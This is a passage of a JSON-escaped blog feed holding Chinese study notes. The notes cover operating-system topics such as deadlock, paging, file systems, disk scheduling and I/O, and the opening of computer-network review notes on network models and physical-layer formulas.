个资源仍需申请资源数\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_114\"\u003e死锁的检测和解除\u003c/h3\u003e\u003ch4 id=\"toc_115\"\u003e资源分配图\u003c/h4\u003e\u003ch5 id=\"toc_116\"\u003e两类资源\u003c/h5\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e永久性资源\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e圆\u003c/strong\u003e(椭圆)表示一个进程。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e方块\u003c/strong\u003e表示一个资源类,其中的圆点表示该类型资源中的单个资源。\u003c/li\u003e\u003cli\u003e从\u003cstrong\u003e资源指向进程的箭头\u003c/strong\u003e表示资源被\u003cstrong\u003e分配\u003c/strong\u003e给了这个进程。\u003c/li\u003e\u003cli\u003e从\u003cstrong\u003e进程指向资源的箭头\u003c/strong\u003e表示进程\u003cstrong\u003e申请\u003c/strong\u003e一个这类资源。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e临时性资源\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e圆\u003c/strong\u003e(椭圆)表示一个进程。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e方块\u003c/strong\u003e表示一个资源类,其中的圆点表示该类型资源中的单个资源。\u003c/li\u003e\u003cli\u003e由\u003cstrong\u003e进程指向资源的箭头\u003c/strong\u003e表示该进程申请这种资源,一个箭头只表示申请一个资源。\u003c/li\u003e\u003cli\u003e由\u003cstrong\u003e资源类指向进程的箭头\u003c/strong\u003e表示该进程产生这种资源,\u003cstrong\u003e一个箭头可表示产生一到多个资源,每个资源类至少有一个生产者进程\u003c/strong\u003e。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch5 id=\"toc_117\"\u003e化简\u003c/h5\u003e\u003cblockquote\u003e\u003cp\u003e对于临时性资源,如果其生产者进程不被阻塞,就可以认为其数量是无穷的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从那些没有阻塞的进程入手,删除那些没有阻塞的进程的请求边,并使资源类中资源数(黑点的数目)减 1,删至直到图中不存在无阻塞的进程。\u003c/p\u003e\u003cp\u003e如果图中仍有请求边且无法再化简,则系统死锁。\u003c/p\u003e\u003ch4 id=\"toc_118\"\u003e死锁的解除\u003c/h4\u003e\u003col\u003e\u003cli\u003e重新启动\u003c/li\u003e\u003cli\u003e撤消进程\u003c/li\u003e\u003cli\u003e剥夺资源\u003c/li\u003e\u003cli\u003e进程回退\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_119\"\u003e存储管理\u003c/h2\u003e\u003ch3 id=\"toc_120\"\u003e程序的转化过程\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e链接\u003c/p\u003e\u003col\u003e\u003cli\u003e静态链接\u003c/li\u003e\u003cli\u003e装入时动态链接\u003c/li\u003e\u003cli\u003e运行时动态链接\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e程序的装入(涉及到\u003cstrong\u003e地址重定位\u003c/strong\u003e)\u003c/p\u003e\u003col\u003e\u003cli\u003e绝对装入(Absolute loading)/ 固定地址再定位\u003c/li\u003e\u003cli\u003e可重定位装入(Relocatable Loading)/ 静态重定位\u003c/li\u003e\u003cli\u003e运行时重定位 / 动态重定位\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_121\"\u003e分区存储管理方案\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e内碎片\u003c/strong\u003e:指占用分区之内未被利用的空间。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e外碎片\u003c/strong\u003e:指占用的分区之间难以利用的狭小空闲分区。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_122\"\u003e连续分配方式\u003c/h4\u003e\u003col\u003e\u003cli\u003e单一连续分区管理:内存中一次只能装入一个用户程序,程序独占整个用户区。\u003c/li\u003e\u003cli\u003e\u003cp\u003e固定分区管理\u003c/p\u003e\u003col\u003e\u003cli\u003e优点:内存的利用率提高了;可以支持多道程序。\u003c/li\u003e\u003cli\u003e缺点:存在内碎片,造成存储空间的浪费;分区总数固定,限制了并发执行的程序数目。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e动态分区管理(可变分区)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e分区分配算法\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最先(首次)适应算法\u003c/strong\u003e(first-fit):顺序查找\u003c/p\u003e\u003cul\u003e\u003cli\u003e倾向于使用内存中低地址部分的空闲分区,在高地址部分的空闲分区很少被利用,从而保留了高地址部分的大空闲区,可为以后到达的大作业分配大的内存空间创造了条件。\u003c/li\u003e\u003cli\u003e缺点:低址部分不断被划分,留下许多难以利用、很小的空闲区(外碎片),而每次查找又都从低址部分开始,会增加查找的开销。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e邻近(下次/循环)适应算法\u003c/strong\u003e(next-fit):从最近处顺序查找\u003c/p\u003e\u003cul\u003e\u003cli\u003e能使空闲中的内存分区分布得更加均匀,但将会缺乏大的空闲分区。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最佳适应算法\u003c/strong\u003e(best-fit):按从小到大顺序\u003c/p\u003e\u003cul\u003e\u003cli\u003e在存储器中将留下许多难以利用的小空闲区(外碎片)。每次分配后必须重新排序,这也带来了一定的开销。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e最坏适应算法\u003c/strong\u003e(worst-fit):按从大到小顺序\u003c/p\u003e\u003cul\u003e\u003cli\u003e克服了最佳适应算法留下的许多小的碎片的不足,但保留大的空闲区的可能性减小了。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e分区释放方式\u003c/strong\u003e:相邻合并,否则插入。\u003c/p\u003e\u003ch4 id=\"toc_123\"\u003e离散分配方式\u003c/h4\u003e\u003ch5 id=\"toc_124\"\u003e页式存储管理:等分内存空间\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e页表\u003c/strong\u003e:记录每一个作业的页号到页框号(实页号)之间的映射关系。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e优点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e程序不必连续存放\u003c/li\u003e\u003cli\u003e没有外碎片\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e缺点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e程序要一次全部装入内存\u003c/li\u003e\u003cli\u003e页表体积庞大,维护麻烦\u003c/li\u003e\u003cli\u003e依然存在内碎片(大小平均为半个页面)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e局限性\u003c/p\u003e\u003col\u003e\u003cli\u003e不便于实现共享\u003c/li\u003e\u003cli\u003e一个程序只有一个虚拟地址空间\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch5 id=\"toc_125\"\u003e段式存储管理:按逻辑分段\u003c/h5\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e优点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e程序不必连续存放\u003c/li\u003e\u003cli\u003e没有内碎片\u003c/li\u003e\u003cli\u003e程序尺寸几乎不受限制\u003c/li\u003e\u003cli\u003e便于实现共享\u003c/li\u003e\u003cli\u003e段表很小(段数量很少)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e缺点\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e作业要一次全部装入内存(至少一个段要全部加载到连续内存)\u003c/li\u003e\u003cli\u003e存在外碎片\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch5 id=\"toc_126\"\u003e段页式存储管理\u003c/h5\u003e\u003cp\u003e结合了页式和段式,段里存页。\u003c/p\u003e\u003cp\u003e为了获得一条指令或者数据,需要访问内存三次(访问表两次,访问物理地址一次)。\u003c/p\u003e\u003ch3 id=\"toc_127\"\u003e内存扩充技术\u003c/h3\u003e\u003col\u003e\u003cli\u003e覆盖技术(Overlay)(作业内部,对程序结构有影响)\u003c/li\u003e\u003cli\u003e交换技术(Swapping)(作业之间,对程序结构无影响)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_128\"\u003e虚拟页式存储技术\u003c/h3\u003e\u003ch4 id=\"toc_129\"\u003e工作原理\u003c/h4\u003e\u003ch4 id=\"toc_130\"\u003e页面淘汰算法\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e先进先出页面淘汰算法(FIFO)\u003c/p\u003e\u003cul\u003e\u003cli\u003e可用页面数增大,缺页率反而升高(Belady 现象)。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e最近最少使用页面淘汰算法(LRU, Least Recently Used)\u003c/p\u003e\u003cul\u003e\u003cli\u003e无 Belady 现象。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_131\"\u003e颠簸 / 抖动\u003c/h3\u003e\u003col\u003e\u003cli\u003e页面在内存与外存之间频繁调度,以至于调度页面所需时间比进程实际运行的时间还多,此时系统效率急剧下降,甚至导致系统崩溃。这种现象称为\u003cstrong\u003e颠簸\u003c/strong\u003e或\u003cstrong\u003e抖动\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e原因\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e页面淘汰算法不合理。\u003c/li\u003e\u003cli\u003e分配给进程的物理页面数太少。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e解决办法\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e给定更合适的页面淘汰算法(不一定奏效)\u003c/li\u003e\u003cli\u003e分配给个更多的物理内存页面(一般会有效果,而且效果较好,但给多了并发度就会降低)\u003c/li\u003e\u003cli\u003e较好的方法是使用工作集机制处理。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_132\"\u003e工作集\u003c/h3\u003e\u003cul\u003e\u003cli\u003e常驻集:实际给进程\u003cstrong\u003e分配\u003c/strong\u003e的内存页面的集合。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e工作集\u003c/strong\u003e:在某段时间间隔里,进程实际\u003cstrong\u003e要访问\u003c/strong\u003e的页面的集合。\u003c/li\u003e\u003cli\u003e活跃页面:在某段时间间隔里,进程频繁访问的页面。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_133\"\u003e文件管理\u003c/h2\u003e\u003ch3 id=\"toc_134\"\u003e文件的结构\u003c/h3\u003e\u003ch4 id=\"toc_135\"\u003e逻辑结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e是用户所观察到的文件内容组织形式,它独立于物理存储设备。\u003c/li\u003e\u003cli\u003e\u003cp\u003e分类\u003c/p\u003e\u003col\u003e\u003cli\u003e有结构的文件(关系导向型结构)\u003c/li\u003e\u003cli\u003e无结构的文件(非关系导向型结构)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_136\"\u003e物理结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e物理存储方式\u003c/p\u003e\u003col\u003e\u003cli\u003e连续存储(顺序结构)\u003c/li\u003e\u003cli\u003e链接结构\u003c/li\u003e\u003cli\u003e索引结构\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e索引表的组织方式\u003c/p\u003e\u003col\u003e\u003cli\u003e链接文件方式:将多个索引表块按链接文件的方式串联起来。\u003c/li\u003e\u003cli\u003e多重索引方式:将一个大文件的所有索引表的地址放在另一个索引表中。(UNIX 三级索引)\u003c/li\u003e\u003cli\u003eHash 文件:采用计算寻址结构,它由主文件和溢出文件组成。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_137\"\u003e文件的目录\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e文件的目录结构\u003c/p\u003e\u003col\u003e\u003cli\u003e一级目录结构\u003c/li\u003e\u003cli\u003e二级目录结构\u003c/li\u003e\u003cli\u003e多级目录结构(UNIX树形)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e文件的查找——线性检索法\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_138\"\u003e文件共享\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e硬链接\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e不能链接目录、无法跨文件系统\u003c/li\u003e\u003cli\u003e会增加链接计数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e软链接\u003c/strong\u003e(符号链接)\u003c/p\u003e\u003cul\u003e\u003cli\u003e可链接目录、可跨文件系统甚至网络\u003c/li\u003e\u003cli\u003e不会增加链接计数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_139\"\u003e文件的操作\u003c/h3\u003e\u003ch4 id=\"toc_140\"\u003e打开文件机构\u003c/h4\u003e\u003col\u003e\u003cli\u003e内存文件控制块(内存索引节点)\u003c/li\u003e\u003cli\u003e\u003cp\u003e系统打开文件控制块\u003c/p\u003e\u003cul\u003e\u003cli\u003e用于记录所有打开文件的控制信息。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e用户打开文件表\u003c/p\u003e\u003cul\u003e\u003cli\u003e每一个进程可打开多个文件,都有一张打开文件表。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_141\"\u003e外存空间管理\u003c/h3\u003e\u003cp\u003e外存空闲空间管理的数据结构通常称为磁盘分配表(Disk Allocation Table)。\u003c/p\u003e\u003ch4 id=\"toc_142\"\u003e空闲空间管理方法\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e空闲区表\u003c/p\u003e\u003cul\u003e\u003cli\u003e其缺点是当外存中有大量的空闲区时,空闲区表会变得很大,分配效率降低。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e位示图\u003c/p\u003e\u003cul\u003e\u003cli\u003e大小由磁盘空间的大小(物理块数)决定,位示图的描述能力强,适应各种物理结构。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e空闲块链\u003c/p\u003e\u003cul\u003e\u003cli\u003e释放和分配都从链头处进行,主要问题是要修改几个有关的链接字,需要反复读写磁盘和分配物理块,系统开销大。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e成组链接法(UNIX)\u003c/p\u003e\u003cul\u003e\u003cli\u003e将空闲块分成若干组,每 100 个空闲块为一组。每组的第一个空闲块登记了下一组空闲块的物理盘块号和本组空闲块总数。\u003c/li\u003e\u003cli\u003e专用块,空闲块索引表 filsys\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_143\"\u003e磁盘调度\u003c/h3\u003e\u003ch4 id=\"toc_144\"\u003e移臂调度\u003c/h4\u003e\u003col\u003e\u003cli\u003e先来先服务算法(FCFS, First Come First Served)\u003c/li\u003e\u003cli\u003e\u003cp\u003e最短寻道时间优先算法(SSF, Shortest Seek First)\u003c/p\u003e\u003cul\u003e\u003cli\u003e会发生「饥饿」现象。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e电梯调度算法(SCAN)\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_145\"\u003e旋转调度\u003c/h4\u003e\u003cp\u003e优先级:柱面 \u0026gt; 扇区 \u0026gt; 磁头\u003c/p\u003e\u003ch4 id=\"toc_146\"\u003e信息分布\u003c/h4\u003e\u003ch2 id=\"toc_147\"\u003e设备管理\u003c/h2\u003e\u003ch3 id=\"toc_148\"\u003e外设的分类\u003c/h3\u003e\u003ch4 id=\"toc_149\"\u003e按数据组织方式分类\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e块设备\u003c/strong\u003e:指以数据块为单位来组织和传送数据信息的设备。属于有结构设备。\u003c/p\u003e\u003col\u003e\u003cli\u003e传输速率较高\u003c/li\u003e\u003cli\u003e可寻址\u003c/li\u003e\u003cli\u003e采用 DMA 方式控制\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e字符设备\u003c/strong\u003e:以单个字符为单位来传送数据信息的设备。\u003c/p\u003e\u003col\u003e\u003cli\u003e传输速率较低\u003c/li\u003e\u003cli\u003e不可寻址\u003c/li\u003e\u003cli\u003e常采用中断驱动方式\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_150\"\u003e按数据传输率分类\u003c/h4\u003e\u003col\u003e\u003cli\u003e低速设备(Byte 级别):键盘、鼠标\u003c/li\u003e\u003cli\u003e中速设备(KB 级别):打印机\u003c/li\u003e\u003cli\u003e高速设备(MB 级别):硬盘、磁带、光盘\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_151\"\u003eI/O系统及结构\u003c/h3\u003e\u003ch4 id=\"toc_152\"\u003e结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e单总线结构\u003c/li\u003e\u003cli\u003e多总线结构\u003c/li\u003e\u003cli\u003e通道系统\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_153\"\u003e控制方式\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e程序控制 I/O\u003c/strong\u003e(直接控制方式、可编程I/O模式)\u003c/p\u003e\u003cul\u003e\u003cli\u003e效率低下\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e中断驱动 I/O\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e数据仍然需要通过CPU进行传输,由于CPU每次处理的数据量少,因此这种方式只适于数据传输率较低的设备。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e直接存储访问 I/O\u003c/strong\u003e(DMA, Direct Memory Access)\u003c/p\u003e\u003cul\u003e\u003cli\u003eCPU只需干预I/O操作的开始和结束,而其中的数据读写无需CPU控制,适 于高速设备。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e通道控制方式 I/O\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e一个CPU可以连接若干个通道,一个通道可以连接若干个控制器,一个控制器可以连接若干个设备。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_154\"\u003eI/O 软件\u003c/h3\u003e\u003ch4 id=\"toc_155\"\u003e组成成分\u003c/h4\u003e\u003col\u003e\u003cli\u003eI/O 交通管制程序\u003c/li\u003e\u003cli\u003eI/O 调度程序\u003c/li\u003e\u003cli\u003eI/O 设备处理程序\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_156\"\u003e设计目标\u003c/h4\u003e\u003cp\u003e设备独立、统一命名、错误处理、数据传输、缓冲管理、设备共享……\u003c/p\u003e\u003ch4 id=\"toc_157\"\u003e结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e设备驱动程序\u003c/strong\u003e:内核软件模块\u003c/p\u003e\u003cul\u003e\u003cli\u003e向上:接受来自与设备无关的上层软件的抽象请求;\u003c/li\u003e\u003cli\u003e向下:进行与设备相关的操作。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e设备无关系统软件\u003c/strong\u003e:负责实现对所有设备都具有共性的功能,并向上提供一个统一的接口。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e用户空间 I/O 软件\u003c/strong\u003e:具有 I/O 功能但在用户态下运行的软件(函数)或功能模块。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_158\"\u003e具有通道的设备管理\u003c/h3\u003e\u003col\u003e\u003cli\u003e通道命令(Channel Command Word, CCW):I/O 处理机的指令\u003c/li\u003e\u003cli\u003e通道程序:用通道命令编写的程序\u003c/li\u003e\u003cli\u003e通道地址字(Channel Address Word, CAW):通道程序首地址的内存单元\u003c/li\u003e\u003cli\u003e通道状态字(Channel Status Word, CSW)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_159\"\u003e缓冲技术\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e设置目的\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e缓解缓冲两端设备(程序)速度的差异\u003c/li\u003e\u003cli\u003e协调数据大小的不一致性\u003c/li\u003e\u003cli\u003e实现应用程序 I/O 的语义拷贝\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e分类\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e单缓冲(single buffer):输出输出速率相差大时可用\u003c/li\u003e\u003cli\u003e双缓冲(double buffer)\u003c/li\u003e\u003cli\u003e环形缓冲\u003c/li\u003e\u003cli\u003e缓冲池(buffer pool):可供多个进程共享的双向缓冲技术。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e缓冲管理队列\u003c/p\u003e\u003col\u003e\u003cli\u003e自由 buf 队列(FIFO)\u003c/li\u003e\u003cli\u003e设备 buf 队列\u003c/li\u003e\u003cli\u003e\u003cem\u003eNODEV 设备队列\u003c/em\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e字符设备的缓存管理\u003c/p\u003e\u003cul\u003e\u003cli\u003e解决 CPU 与字符设备间速度不匹配的矛盾\u003c/li\u003e\u003cli\u003e自由字符缓存队列:由空闲的字符缓存构成自由队列。\u003c/li\u003e\u003cli\u003eI/O 字符缓存队列\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_160\"\u003e设备管理数据结构\u003c/h3\u003e\u003col\u003e\u003cli\u003e设备控制表(DCT)\u003c/li\u003e\u003cli\u003e控制器控制表(COCT)\u003c/li\u003e\u003cli\u003e通道控制表(CHCT)\u003c/li\u003e\u003cli\u003e系统设备表(SDT)\u003c/li\u003e\u003c/ol\u003e\n","url":"https://hawa130.com/archives/833/"},{"title":"计网期末预习笔记","time":"2022-06-17T13:21:00Z","content":"概述1. 绪论数据通信的概念及模型五个组成部分:报文、发送方、接收方、传输介质、协议数据流:单工、半双工、全双工连接类型和拓扑结构连接类型:点到点、多点拓扑结构:网状、星型、总线、环状网络分类:...\u003chr /\u003e\n\u003ch2 id=\"toc_161\"\u003e概述\u003c/h2\u003e\u003ch3 id=\"toc_162\"\u003e1. 绪论\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e数据通信的概念及模型\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e五个组成部分:报文、发送方、接收方、传输介质、协议\u003c/li\u003e\u003cli\u003e数据流:单工、半双工、全双工\u003c/li\u003e\u003cli\u003e\u003cp\u003e连接类型和拓扑结构\u003c/p\u003e\u003col\u003e\u003cli\u003e连接类型:点到点、多点\u003c/li\u003e\u003cli\u003e拓扑结构:网状、星型、总线、环状\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e网络分类:局域网、广域网、城域网\u003c/li\u003e\u003cli\u003e\u003cp\u003e协议和标准\u003c/p\u003e\u003col\u003e\u003cli\u003e语法:格式\u003c/li\u003e\u003cli\u003e语义:解释含义,进行的操作\u003c/li\u003e\u003cli\u003e格式:报文发送的时间、次序\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_163\"\u003e2. 网络模型\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e层次结构\u003c/strong\u003e、层间接口和封装\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eOSI 参考模型的概念和各层功能\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e物理层\u003c/strong\u003e:定义了接口与传输介质的机械和电气特性。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据链路层\u003c/strong\u003e:将物理层的数据无差错地传递给网络层。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e网络层\u003c/strong\u003e:将各个分组从源地址传递到目的地址。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e传输层\u003c/strong\u003e:负责一个报文从一个进程到另一个进程的传递。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e会话层\u003c/strong\u003e:对话控制和同步。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e表示层\u003c/strong\u003e:翻译、加密和压缩数据。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e应用层\u003c/strong\u003e:用户提供服务。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP/IP 协议簇和各层的功能\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"TCP/IP 协议族\" data-src=\"https://upload.hawa130.com/2022/06/1.png#vwid=570\u0026vhei=392\" src=\"https://upload.hawa130.com/2022/06/1.png#vwid=570\u0026vhei=392\"\u003e\u003cfigcaption\u003eTCP/IP 协议族\u003c/figcaption\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e物理地址、逻辑地址和端口地址\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_164\"\u003e物理层和介质\u003c/h2\u003e\u003cp\u003e接口与介质的物理特性,位的表示,数据速率,位同步,线路配置,物理拓扑结构,传输方式\u003c/p\u003e\u003ch3 id=\"toc_165\"\u003e3. 物理层\u003c/h3\u003e\u003col\u003e\u003cli\u003e数字信号:基带传输、低通通道、宽带传输的概念\u003c/li\u003e\u003cli\u003e\u003cp\u003e传输减损:衰减、失真、噪声和信噪比的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e信噪比:$SNR=\\frac{\\text{平均信号功率}}{\\text{平均噪声功率}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据速率限制\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e奈奎斯特速率:\u003c/strong\u003e$C=2\\times B\\times \\log_2(L)$(bps)\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $B$ 是带宽,$L$ 是信号电平的数量。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e香农容量定理:\u003c/strong\u003e$C=B\\times \\log_2(1+SNR)$(bps)\u003c/li\u003e\u003cli\u003e分贝:${SNR}_\\text{dB}=10\\times \\log_{10}\\frac{P_1}{P_2}$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e性能:\u003cstrong\u003e带宽、吞吐量\u003c/strong\u003e、延迟、\u003cstrong\u003e传播时间、传输时间\u003c/strong\u003e、排队时间、带宽与延迟的乘积的概念\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_166\"\u003e4. 数字传输\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e线路编码:数据元素、信号元素、数据速率、信号速率、最小带宽、最大数据速率、直流分量、自同步\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据速率与信号速率\u003c/strong\u003e:$S=c\\times N\\times \\frac{1}{r}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $S$ 为信号速率(baud),$N$ 为数据速率(bps),$c$ 为情形因子(一般为 $\\frac{1}{2}$),$r$ 为数据元素和信号元素的比率。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e最小带宽:$B_\\text{min}=c\\times B\\times \\frac{1}{c}$(Hz)\u003c/li\u003e\u003cli\u003e最大数据速率:$N_\\text{max}=\\frac{1}{c}\\times B\\times r$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e线路编码方案\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e单极性编码(NRZ)\u003c/strong\u003e:不归零,正电平表示 1,零电平表示 0。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e极性编码(NRZ-L 和 